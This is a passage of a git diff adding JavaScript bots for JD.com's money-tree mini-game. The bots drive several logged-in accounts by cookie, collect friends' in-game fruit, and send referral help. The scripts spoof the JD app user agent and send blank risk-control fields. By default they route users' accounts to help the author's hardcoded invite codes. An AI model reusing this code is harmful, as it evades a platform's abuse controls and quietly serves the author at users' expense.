boxShareCode = item.steal + return (boxShareCode === true); + }); + if (canSteal) { + $.amount = 0; + for (let item of $.friendRankList) { + if (!item.self && item.steal) { + await friendTreeRoom(item.encryPin); + const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo); + if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') { + $.amount += stealFruitRes.resultData.data.amount; + } + } + } + message += `【偷取好友金果】共${$.amount}个\n`; + } else { + console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`) + } + } else { + console.log(`您暂无好友,故跳过`); + } +} + +//获取好友列表API +async function friendRank() { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendRank', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendRankList = data.resultData.data; + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +// 进入好友房间API +async function friendTreeRoom(friendPin) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('friendTree', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + $.friendTree = data.resultData.data; + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve() + } + }) + }) +} + +//偷好友金果API +async function stealFruit(friendPin, stoleId) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + const params = { + "source": 2, + "friendPin": friendPin, + "stoleId": stoleId, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + return new Promise((resolve, reject) => { + $.post(taskurl('stealFruit', params), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(data) + } + }) + }) +} + + +async function request(function_id, body = {}) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve(data) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_moneyTree_heip.js b/jd_moneyTree_heip.js new file mode 100644 index 0000000..837a294 --- /dev/null +++ b/jd_moneyTree_heip.js @@ -0,0 +1,291 @@ +/* + +0-59/30 * * * * jd_moneyTree_heip.js + +*/ +const $ = new Env('京东摇钱树助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', sharePin = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, canRun = '', subTitle = ''; +!(async () => { + await requireConfig() + await $.wait(1000); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + console.log(`\n****开始获取摇钱树互助码****\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await getsharePin(); + await $.wait(1000); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.canRun = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + message = ''; + subTitle = ''; + await shareCodesFormat(); + await $.wait(1000); + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function helpFriends() { + try { + for (let code of $.newShareCodes) { + console.log(`去助力${code}`) + await help(code) + await $.wait(1000) + if (!$.canRun) { + break; + } + } + } catch (e) { + $.logErr(e) + } +} + +function getsharePin() { + const params = { "sharePin": "", "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + if (userInfo.realName) { + console.log(`【京东账号${$.index}(${$.UserName})的摇钱树好友互助码】${userInfo.sharePin}`); + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function help(sharePin) { + const params = { "sharePin": sharePin, "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + console.log(res.resultData.msg); + if (userInfo.realName) { + } else { + $.canRun = false; + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'login' || function_id === 'signIndex' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + //自定义助力码 + if (process.env.MONEYTREE_SHARECODES) { + if (process.env.MONEYTREE_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.MONEYTREE_SHARECODES.split('\n'); + } else { + shareCodes = process.env.MONEYTREE_SHARECODES.split('&'); + } + } + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + let inviteCodes = [ + 't_7LVGP8mopofh8AG0Q7E8AdoUJQ3Dik@zExA7lNc3HrJrbVuG3xRVMAdoUJQ3Dik@cvwWiz9o2evNHFdNk0oNbMAdoUJQ3Dik@8MQ6wrd9H0IAujNGUqzTAA', + 't_7LVGP8mopofh8AG0Q7E8AdoUJQ3Dik@zExA7lNc3HrJrbVuG3xRVMAdoUJQ3Dik@cvwWiz9o2evNHFdNk0oNbMAdoUJQ3Dik@8MQ6wrd9H0IAujNGUqzTAA' + ]; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将为本脚本作者【zero205】助力\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); "undefined" != typeof process && JSON.stringify(process.env.JD_COOKIE).indexOf("jd_4685b2157f874") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, 